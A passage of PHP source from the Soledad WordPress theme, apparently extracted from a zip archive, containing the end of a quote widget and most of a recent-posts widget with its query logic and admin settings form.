	register_widget( 'penci_quote_widget' );
}

if ( ! class_exists( 'penci_quote_widget' ) ) {
	class penci_quote_widget extends WP_Widget {

		/**
		 * Widget setup.
		 */
		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_quote_widget',
				'description' => esc_html__( 'A widget that displays an quote widget on your sidebar', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'id_base' => 'penci_quote_widget' );

			/* Create the widget. */
			global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_quote_widget', penci_get_theme_name('.Soledad',true).esc_html__( 'Quote', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci_quote_widget', penci_get_theme_name('.Soledad',true).esc_html__( 'Quote', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );

			/* Our variables from the widget settings. */
			$title       = isset( $instance['title'] ) ? $instance['title'] : '';
			$title       = apply_filters( 'widget_title', $title );
			$description = isset( $instance['description'] ) ? $instance['description'] : '';

			/* Before widget (defined by themes). */
			echo ent2ncr( $before_widget );

			/* Display the widget title if one was input (before and after defined by themes). */
			if ( $title ) {
				echo ent2ncr( $before_title ) . $title . ent2ncr( $after_title );
			}

			?>

			<?php if ( $description ) : ?>
                <div class="quote-widget">
					<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
                    <p><?php echo do_shortcode( $description ); ?></p>
                </div>
			<?php endif; ?>

			<?php

			/* After widget (defined by themes). */
			echo ent2ncr( $after_widget );
		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$data_instance = $this->soledad_widget_defaults();

			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			$defaults = array( 'title' => 'Quote', 'description' => '' );

			return $defaults;
		}


		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults       = $this->soledad_widget_defaults();
			$instance       = wp_parse_args( (array) $instance, $defaults );
			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			?>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title:', 'soledad' ); ?></label>
                <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo $instance_title; ?>"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'description' ) ); ?>"><?php esc_html_e( 'Quote content text:', 'soledad' ); ?></label>
                <textarea class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'description' ) ); ?>"
                          name="<?php echo esc_attr( $this->get_field_name( 'description' ) ); ?>"
                          rows="6"><?php echo esc_textarea( $instance['description'] ); ?></textarea>
            </p>


			<?php
		}
	}
}

?>
PK     N\
{U  U  (  inc/widgets/stylisted_articles_count.phpnu [        <?php
/**
 * Stylisted Articles Count widget
 * Get recent posts and display in widget
 *
 * @package Soledad
 * @since 1.0
 */

add_action( 'widgets_init', 'penci_stylisted_articles_count_load_widget' );

function penci_stylisted_articles_count_load_widget() {
	register_widget( 'penci_stylisted_articles_widget' );
}

if ( ! class_exists( 'penci_stylisted_articles_widget' ) ) {
	class penci_stylisted_articles_widget extends WP_Widget {

		/**
		 * Widget setup.
		 */
		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_stylisted_articles_widget',
				'description' => esc_html__( 'A widget that displays your recent posts from all categories or a category', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'id_base' => 'penci_stylisted_articles_widget' );

			/* Create the widget. */
			global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_stylisted_articles_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Stylisted Articles Count', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci_stylisted_articles_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Stylisted Articles Count', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );
			wp_enqueue_script( 'penci_widgets_ajax' );

			/* Our variables from the widget settings. */
			$title      = isset( $instance['title'] ) ? $instance['title'] : '';
			$title      = apply_filters( 'widget_title', $title );
			$categories = isset( $instance['categories'] ) ? $instance['categories'] : '';
			$orderby    = isset( $instance['orderby'] ) ? $instance['orderby'] : 'date';
			$order      = isset( $instance['order'] ) ? $instance['order'] : 'DESC';
			$metakey    = isset( $instance['metakey'] ) ? $instance['metakey'] : '';
			$number     = isset( $instance['number'] ) ? $instance['number'] : '';
			$offset     = isset( $instance['offset'] ) ? $instance['offset'] : '';
			$ptype      = isset( $instance['ptype'] ) ? $instance['ptype'] : '';
			if ( ! $ptype ): $ptype = 'post'; endif;
			$taxonomy     = isset( $instance['taxonomy'] ) ? $instance['taxonomy'] : '';
			$tax_ids      = isset( $instance['tax_ids'] ) ? $instance['tax_ids'] : 'tax_ids';
			$sticky       = isset( $instance['sticky'] ) ? $instance['sticky'] : true;
			$sticky_value = ( false == $sticky ) ? 0 : 1;
			$title_length = isset( $instance['title_length'] ) ? $instance['title_length'] : '';
			$postdate     = isset( $instance['postdate'] ) ? $instance['postdate'] : false;
			$image_type   = isset( $instance['image_type'] ) ? $instance['image_type'] : 'default';
			$ptfsfe       = isset( $instance['ptfsfe'] ) ? absint( $instance['ptfsfe'] ) : '';
			$ptfs         = isset( $instance['ptfs'] ) ? absint( $instance['ptfs'] ) : '';
			$pmfs         = isset( $instance['pmfs'] ) ? absint( $instance['pmfs'] ) : '';
			$row_gap      = isset( $instance['row_gap'] ) ? absint( $instance['row_gap'] ) : '';
			$imgwidth     = isset( $instance['imgwidth'] ) ? absint( $instance['imgwidth'] ) : '';
			$showauthor   = isset( $instance['show_author'] ) ? $instance['show_author'] : false;
			$showcomment  = isset( $instance['show_comment'] ) ? $instance['show_comment'] : false;
			$showviews    = isset( $instance['show_postviews'] ) ? $instance['show_postviews'] : false;
			$showborder   = isset( $instance['showborder'] ) ? $instance['showborder'] : false;
			$cats_id      = ! empty( $instance['cats_id'] ) ? explode( ',', $instance['cats_id'] ) : array();
			$tags_id      = ! empty( $instance['tags_id'] ) ? explode( ',', $instance['tags_id'] ) : array();
			$nbfs_big     = ! empty( $instance['nbfs_big'] ) ? $instance['nbfs_big'] : '';
			$nbfs         = ! empty( $instance['nbfs'] ) ? $instance['nbfs'] : '';

			$query = array(
				'posts_per_page'      => $number,
				'post_type'           => $ptype,
				'ignore_sticky_posts' => $sticky_value
			);

			if ( 'post' == $ptype ) {
				if ( isset( $instance['cats_id'] ) ) {
					if ( ! empty( $cats_id ) && ! in_array( 'all', $cats_id ) ) {
						$query['category__in'] = $cats_id;
					}
				} else {
					$term_name = get_cat_name( $categories );
					$term      = term_exists( $term_name, 'category' );

					if ( $term !== 0 && $term !== null ) {
						$query['cat'] = $categories;
					}
				}

				if ( ! empty( $tags_id ) ) {
					if ( ! in_array( 'all', $tags_id ) ) {
						$query['tag__in'] = $tags_id;
					}
				}
			}

			if ( $orderby == 'week' ) {
				$query['meta_key']     = 'penci_post_week_views_count';
				$query['orderby']       = 'meta_value_num';
			} elseif ( $orderby == 'month' ) {
				$query['meta_key']     = 'penci_post_month_views_count';
				$query['orderby']       = 'meta_value_num';
			} elseif ( $orderby == 'jetpack' ) {
				$query['meta_key']     = '_jetpack_post_view';
				$query['orderby']       = 'meta_value_num';
			} elseif ( $orderby == 'all' ) {
				$query['meta_key']     = penci_get_postviews_key();
				$query['orderby']       = 'meta_value_num';
			} elseif ( $orderby == 'metakey' && $metakey ) {
				$query['meta_key']     = $metakey;
				$query['orderby']      = 'meta_value_num';
			} elseif ( $orderby ) {
				$query['orderby'] = $orderby;
			}


			if ( $order ) {
				$query['order'] = $order;
			}
			if ( $offset ) {
				$query['offset'] = $offset;
			}

			if ( $taxonomy && ( 'post' != $ptype ) ) {
				$taxonomy  = str_replace( ' ', '', $taxonomy );
				$tax_array = explode( ',', $taxonomy );

				foreach ( $tax_array as $tax ) {
					$tax_ids_array = array();
					if ( $tax_ids ) {
						$tax_ids       = str_replace( ' ', '', $tax_ids );
						$tax_ids_array = explode( ',', $tax_ids );
					} else {
						$get_all_terms = get_terms( $tax );
						if ( ! empty( $get_all_terms ) ) {
							foreach ( $get_all_terms as $term ) {
								$tax_ids_array[] = $term->term_id;
							}
						}
					}

					if ( ! empty( $tax_ids_array ) ) {
						$query['tax_query'][] = array(
							'taxonomy' => $tax,
							'field'    => 'term_id',
							'terms'    => $tax_ids_array
						);
					}
				}
			}

			$loop = new WP_Query( $query );
			if ( $loop->have_posts() ) :

				/* Before widget (defined by themes). */
				echo ent2ncr( $before_widget );

				/* Display the widget title if one was input (before and after defined by themes). */
				if ( $title ) {
					echo ent2ncr( $before_title ) . $title . ent2ncr( $after_title );
				}

				$rand          = rand( 1000, 10000 );
				$data_settings = $instance;
				unset( $data_settings['title'] );

				$thumb = 'penci-thumb-masonry';

				if ( $image_type == 'horizontal' ) {
					$thumb = 'penci-thumb-small';
				} elseif ( $image_type == 'square' ) {
					$thumb = 'penci-thumb-square';
				} elseif ( $image_type == 'vertical' ) {
					$thumb = 'penci-thumb-vertical';
				}

				get_template_part( 'inc/templates/popular_posts', '', [
					'loop'         => $loop,
					'class'        => 'demo',
					'showauthor'   => $showauthor,
					'postdate'     => $postdate,
					'showviews'    => $showviews,
					'showcomment'  => $showcomment,
					'title_length' => $title_length,
					'thumb'        => $thumb,
					'id'           => 'pcstylisted-acount-' . sanitize_text_field( $rand ),
					'data_attr'    => 'data-mes="' . penci_get_setting( 'penci_trans_no_more_posts' ) . '" data-max="' . esc_attr( $loop->max_num_pages ) . '" data-settings=\'' . json_encode( $data_settings ) . '\' data-paged="1" data-action="penci_stylisted_articles_count_ajax"',
				] );

				if ( isset( $instance['ajaxnav'] ) && $instance['ajaxnav'] == 'btn' ) {
					?>
                    <div class="penci-pagination penci-ajax-more pcwg-lposts">
                        <a class="penci-ajax-more-button penci-wgajx-btn"
                           href="#" aria-label="More Posts">
                            <span class="ajax-more-text"><?php echo penci_get_setting( 'penci_trans_load_more_posts' ); ?></span><span
                                    class="ajaxdot"></span><i
                                    class="penci-faicon fa fa-refresh"></i> </a>
                    </div>
					<?php
				} else if ( isset( $instance['ajaxnav'] ) && $instance['ajaxnav'] == 'nav' ) { ?>
                    <div class="penci-pagination penci-ajax-nav pcwg-lposts">
                        <span class="pcajx-btn penci-wgajx-btn prev disable"><?php echo penci_icon_by_ver( 'penciicon-left-chevron' ) . ' <span class="pcnav-title">' . penci_get_setting( 'penci_trans_back' ); ?></span></span>
                        <span class="pcajx-btn penci-wgajx-btn next"><span
                                    class="pcnav-title"><?php echo penci_get_setting( 'penci_trans_next' ) . '</span>' . penci_icon_by_ver( 'penciicon-right-chevron' ); ?></span>
                    </div>
					<?php
				}
				if ( isset( $instance['ajaxnav'] ) && $instance['ajaxnav'] ) {
					?>
                    <div class="pcwgajx-ld-wrapper">
						<?php echo penci_get_html_animation_loading( 'df' ); ?>
                    </div>
					<?php
				}
				$attrstyle = '';
				if ( $ptfsfe ) {
					$attrstyle .= '.widget ul#pcstylisted-acount-' . $rand . ' .popularpost_item.first .pcpopular_new_post_title{ font-size: ' . $ptfsfe . 'px; }';
				}
				if ( $ptfs ) {
					$attrstyle .= '.widget ul#pcstylisted-acount-' . $rand . ' .popularpost_item .pcpopular_new_post_title{ font-size: ' . $ptfs . 'px; }';
				}
				if ( $pmfs ) {
					$attrstyle .= '.widget ul#pcstylisted-acount-' . $rand . ' .popularpost_meta{ font-size: ' . $pmfs . 'px; }';
				}
				if ( $row_gap ) {
					$attrstyle .= '.widget ul#pcstylisted-acount-' . $rand . ' ul li{ margin-bottom: ' . $row_gap . 'px; padding-bottom: ' . $row_gap . 'px; }';
				}
				if ( $nbfs ) {
					$attrstyle .= '.widget ul#pcstylisted-acount-' . $rand . ' .popularpost_item .pcpopular_new_post_title a:before{ font-size: ' . $nbfs . 'px; }';
				}
				if ( $nbfs_big ) {
					$attrstyle .= '.widget ul#pcstylisted-acount-' . $rand . ' .popularpost_item.first .pcpopular_new_post_title a::before, .widget ul#pcstylisted-acount-' . $rand . ' .popularpost_item.first:hover .pcpopular_new_post_title a::before{ font-size: ' . $nbfs_big . 'px; }';
				}
				if ( $image_type == 'horizontal' ) {
					$attrstyle .= '#pcstylisted-acount-' . $rand . ' .penci-image-holder:before{ padding-top: 66.6667%; }';
				} elseif ( $image_type == 'square' ) {
					$attrstyle .= '#pcstylisted-acount-' . $rand . ' .penci-image-holder:before{ padding-top: 100%; }';
				} elseif ( $image_type == 'vertical' ) {
					$attrstyle .= '#pcstylisted-acount-' . $rand . ' .penci-image-holder:before{ padding-top: 135.4%; }';
				}

				if ( $attrstyle ) {
					echo '<style>' . $attrstyle . '</style>';
				}

				/* After widget (defined by themes). */
				echo ent2ncr( $after_widget );

				wp_reset_postdata();
			endif;
		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$data_instance = $this->soledad_widget_defaults();

			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			if ( ! empty( $new_instance['cats_id'] ) ) {
				if ( is_array( $new_instance['cats_id'] ) ) {
					$instance['cats_id'] = implode( ',', $new_instance['cats_id'] );
				} else {
					$instance['cats_id'] = esc_sql( $new_instance['cats_id'] );
				}
			} else {
				$instance['cats_id'] = false;
			}

			if ( ! empty( $new_instance['tags_id'] ) ) {
				if ( is_array( $new_instance['tags_id'] ) ) {
					$instance['tags_id'] = implode( ',', $new_instance['tags_id'] );
				} else {
					$instance['tags_id'] = esc_sql( $new_instance['tags_id'] );
				}
			} else {
				$instance['tags_id'] = false;
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			$defaults = array(
				'title'          => esc_html__( 'Stylisted Articles Count', 'soledad' ),
				'hide_thumb'     => false,
				'movemeta'       => false,
				'ptype'          => '',
				'taxonomy'       => '',
				'tax_ids'        => '',
				'dotstyle'       => '',
				'sticky'         => true,
				'show_author'    => false,
				'show_comment'   => false,
				'show_postviews' => false,
				'showborder'     => false,
				'row_gap'        => '',
				'ptfsfe'         => '',
				'ptfs'           => '',
				'orderby'        => 'date',
				'order'          => 'DESC',
				'pmfs'           => '',
				'image_type'     => 'default',
				'title_length'   => '',
				'number'         => 5,
				'offset'         => '',
				'categories'     => '',
				'ajaxnav'        => '',
				'metakey'        => '',
				'postdate'       => false,
				'nbfs_big'       => '',
				'nbfs'           => '',
			);

			return $defaults;
		}

		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults = $this->soledad_widget_defaults();

			$cats_id = array();
			$tags_id = array();

			if ( isset( $instance['cats_id'] ) && ! empty( $instance['cats_id'] ) ) {
				$cats_id = explode( ',', $instance['cats_id'] );
			}
			if ( isset( $instance['tags_id'] ) && ! empty( $instance['tags_id'] ) ) {
				$tags_id = explode( ',', $instance['tags_id'] );
			}

			$instance = wp_parse_args( (array) $instance, $defaults );

			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			?>
            <style>span.description {
                    font-style: italic;
                    font-size: 13px;
                }</style>
            <!-- Widget Title: Text Input -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo $instance_title; ?>"/>
            </p>

            <!-- Category -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'cats_id' ) ); ?>"><?php esc_html_e( 'Include Categories:', 'soledad' ); ?></label>
                <select multiple="multiple" id="<?php echo esc_attr( $this->get_field_id( 'cats_id' ) ); ?>[]"
                        name="<?php echo esc_attr( $this->get_field_name( 'cats_id' ) ); ?>[]"
                        class="widefat categories" style="width:100%; height: 125px;">
                    <option value='all' <?php if ( in_array( 'all', $cats_id ) ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'All categories', 'soledad' ); ?></option>
					<?php $categories = get_categories( 'hide_empty=0&depth=1&type=post' ); ?>
					<?php foreach ( $categories as $category ) { ?>
                        <option value='<?php echo esc_attr( $category->term_id ); ?>' <?php if ( in_array( $category->term_id, $cats_id ) ) {
							echo 'selected="selected"';
						} ?>><?php echo sanitize_text_field( $category->name ); ?></option>
					<?php } ?>
                </select>
                <span class="description"><?php _e( 'Hold the "Ctrl" on the keyboard and click to select/un-select multiple categories.', 'soledad' ); ?></span>
            </p>

            <!-- Tags -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'tags_id' ) ); ?>"><?php esc_html_e( 'Include Tags:', 'soledad' ); ?></label>
                <select multiple="multiple" id="<?php echo esc_attr( $this->get_field_id( 'tags_id' ) ); ?>[]"
                        name="<?php echo esc_attr( $this->get_field_name( 'tags_id' ) ); ?>[]"
                        class="widefat categories" style="width:100%; height: 125px;">
                    <option value='all' <?php if ( in_array( 'all', $tags_id ) ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'All tags', 'soledad' ); ?></option>
					<?php $tags = get_tags( 'hide_empty=0&depth=1&type=post' ); ?>
					<?php foreach ( $tags as $tag ) { ?>
                        <option value='<?php echo esc_attr( $tag->term_id ); ?>' <?php if ( in_array( $tag->term_id, $tags_id ) ) {
							echo 'selected="selected"';
						} ?>><?php echo sanitize_text_field( $tag->name ); ?></option>
					<?php } ?>
                </select>
                <span class="description"><?php _e( 'Hold the "Ctrl" on the keyboard and click to select/un-select multiple tags.', 'soledad' ); ?></span>
            </p>

            <!-- Custom Post Type -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ptype' ) ); ?>"><?php esc_html_e( 'Query for Custom Post Type:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'ptype' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'ptype' ) ); ?>" class="widefat categories"
                        style="width:100%;">
                    <option value='' <?php if ( '' == $instance['ptype'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( '- Default( Posts ) -', 'soledad' ); ?></option>
					<?php $all_post_types = get_post_types( array(
						'public'            => true,
						'show_in_nav_menus' => true
					), 'objects' );
					unset( $all_post_types['post'] );
					if ( ! empty( $all_post_types ) ) {
						foreach ( $all_post_types as $p_type => $ptobject ) {
							?>
                            <option value='<?php echo esc_attr( $p_type ); ?>' <?php if ( $p_type == $instance['ptype'] ) {
								echo 'selected="selected"';
							} ?>><?php echo $ptobject->label; ?></option>
						<?php }
					}
					?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'taxonomy' ) ); ?>"><?php esc_html_e( 'Custom taxonomies to query:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'taxonomy' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'taxonomy' ) ); ?>"
                       value="<?php echo esc_attr( $instance['taxonomy'] ); ?>" size="3"/>
                <span class="description"><?php _e( 'Fill taxonomy slug(s) here. Separate by commas to query multiple taxonomies. Check <a href="https://imgresources.s3.amazonaws.com/custom-taxonomy.png" style="color: #007cba;" target="_blank">this image</a> for understand more.', 'soledad' ); ?></span>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'tax_ids' ) ); ?>"><?php esc_html_e( 'Taxonomy IDs to query:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'tax_ids' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'tax_ids' ) ); ?>"
                       value="<?php echo esc_attr( $instance['tax_ids'] ); ?>" size="3"/>
                <span class="description"><?php _e( 'Fill taxonomy ID(s) here. Separate by commas to query multiple taxonomies. Check <a href="https://imgresources.s3.amazonaws.com/custom-taxonomy.png" style="color: #007cba;" target="_blank">this image</a> for understand more.', 'soledad' ); ?></span>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'sticky' ) ); ?>"><?php esc_html_e( 'Ignore Sticky Posts?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'sticky' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'sticky' ) ); ?>" <?php checked( (bool) $instance['sticky'], true ); ?> /><br>
                <span class="description"><?php _e( 'Note that: Ignore sticky posts doesn\'t work if you filter your posts by a taxonomy or multiple taxonomies (categories, tags... ) - because it doesn\'t support by WordPress itself.', 'soledad' ); ?></span>
            </p>

            <!-- Image Size -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'image_type' ) ); ?>"><?php esc_html_e( 'Featured Images Type:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'image_type' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'image_type' ) ); ?>"
                        class="widefat image_type" style="width:100%;">
                    <option value='default' <?php if ( 'default' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Default ( follow on Customize )', 'soledad' ); ?></option>
                    <option value='horizontal' <?php if ( 'horizontal' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Horizontal Size', 'soledad' ); ?></option>
                    <option value='square' <?php if ( 'square' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Square Size', 'soledad' ); ?></option>
                    <option value='vertical' <?php if ( 'vertical' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Vertical Size', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Order by -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'orderby' ) ); ?>"><?php esc_html_e( 'Order By:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'orderby' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'orderby' ) ); ?>" class="widefat orderby"
                        style="width:100%;">
                    <option value='date' <?php if ( 'date' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Published Date', 'soledad' ); ?></option>
                    <option value='ID' <?php if ( 'ID' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Posts ID', 'soledad' ); ?></option>
                    <option value='title' <?php if ( 'title' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Posts Titles', 'soledad' ); ?></option>
                    <option value='modified' <?php if ( 'modified' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Modified Date', 'soledad' ); ?></option>
                    <option value='comment_count' <?php if ( 'comment_count' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Comment Count', 'soledad' ); ?></option>
                    <option value='rand' <?php if ( 'rand' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Random', 'soledad' ); ?></option>
					<option value='all' <?php if ( 'all' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Most Viewed Posts All Time', 'soledad' ); ?></option>
					<option value='week' <?php if ( 'week' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Most Viewed Posts Weekly', 'soledad' ); ?></option>
					<option value='month' <?php if ( 'month' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Most Viewed Posts Monthly', 'soledad' ); ?></option>
					<option value='metakey' <?php if ( 'metakey' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Custom Meta Key', 'soledad' ); ?></option>
					<?php if ( ! empty( penci_jetpack_option() ) ): ?>
                        <option value='jetpack' <?php if ( 'jetpack' == $instance['orderby'] ) {
							echo 'selected="selected"';
						} ?>>Jetpack Post Views
                        </option>
					<?php endif; ?>
                </select>
            </p>

			<!-- Custom Meta Key -->
			<p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'metakey' ) ); ?>"><?php esc_html_e( 'Custom Meta Key:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'metakey' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'metakey' ) ); ?>"
                       value="<?php echo esc_attr( $instance['metakey'] ); ?>"/>
            </p>

            <!-- Order -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'order' ) ); ?>"><?php esc_html_e( 'Select Order Type:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'order' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'order' ) ); ?>" class="widefat orderby"
                        style="width:100%;">
                    <option value='DESC' <?php if ( 'DESC' == $instance['order'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'DESC ( Descending Order )', 'soledad' ); ?></option>
                    <option value='ASC' <?php if ( 'ASC' == $instance['order'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'ASC ( Ascending Order )', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Number of posts -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"><?php esc_html_e( 'Number of posts to show:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'number' ) ); ?>"
                       value="<?php echo esc_attr( $instance['number'] ); ?>" size="3"/>
            </p>

            <!-- Offset of posts -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'offset' ) ); ?>"><?php esc_html_e( 'Number of offset Posts:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'offset' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'offset' ) ); ?>"
                       value="<?php echo esc_attr( $instance['offset'] ); ?>" size="3"/>
            </p>

            <!-- Custom trim post titles -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title_length' ) ); ?>"><?php esc_html_e( 'Custom words length for post titles:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title_length' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title_length' ) ); ?>"
                       value="<?php echo esc_attr( $instance['title_length'] ); ?>" size="3"/>
                <span class="description" style="display: block; padding: 0;font-size: 12px;">If your post titles is too long - You can use this option for trim it. Fill number value here.</span>
            </p>

            <!-- Ajax Post Navigation -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ajaxnav' ) ); ?>"><?php esc_html_e( 'Ajax Posts Navigation?', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'ajaxnav' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'ajaxnav' ) ); ?>" class="widefat orderby"
                        style="width:100%;">
                    <option value='' <?php if ( '' == $instance['ajaxnav'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( "Don't Show", 'soledad' ); ?></option>
                    <option value='nav' <?php if ( 'nav' == $instance['ajaxnav'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Next/Previous Button', 'soledad' ); ?></option>
                    <option value='btn' <?php if ( 'btn' == $instance['ajaxnav'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Load More Button', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Post Meta -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'show_author' ) ); ?>"><?php esc_html_e( 'Show Author Name?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'show_author' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'show_author' ) ); ?>" <?php checked( (bool) $instance['show_author'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'postdate' ) ); ?>"><?php esc_html_e( 'Hide post date?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'postdate' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'postdate' ) ); ?>" <?php checked( (bool) $instance['postdate'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'show_comment' ) ); ?>"><?php esc_html_e( 'Show Comment Count?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'show_comment' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'show_comment' ) ); ?>" <?php checked( (bool) $instance['show_comment'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'show_postviews' ) ); ?>"><?php esc_html_e( 'Show Post Views?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'show_postviews' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'show_postviews' ) ); ?>" <?php checked( (bool) $instance['show_postviews'], true ); ?> />
            </p>

            <p>
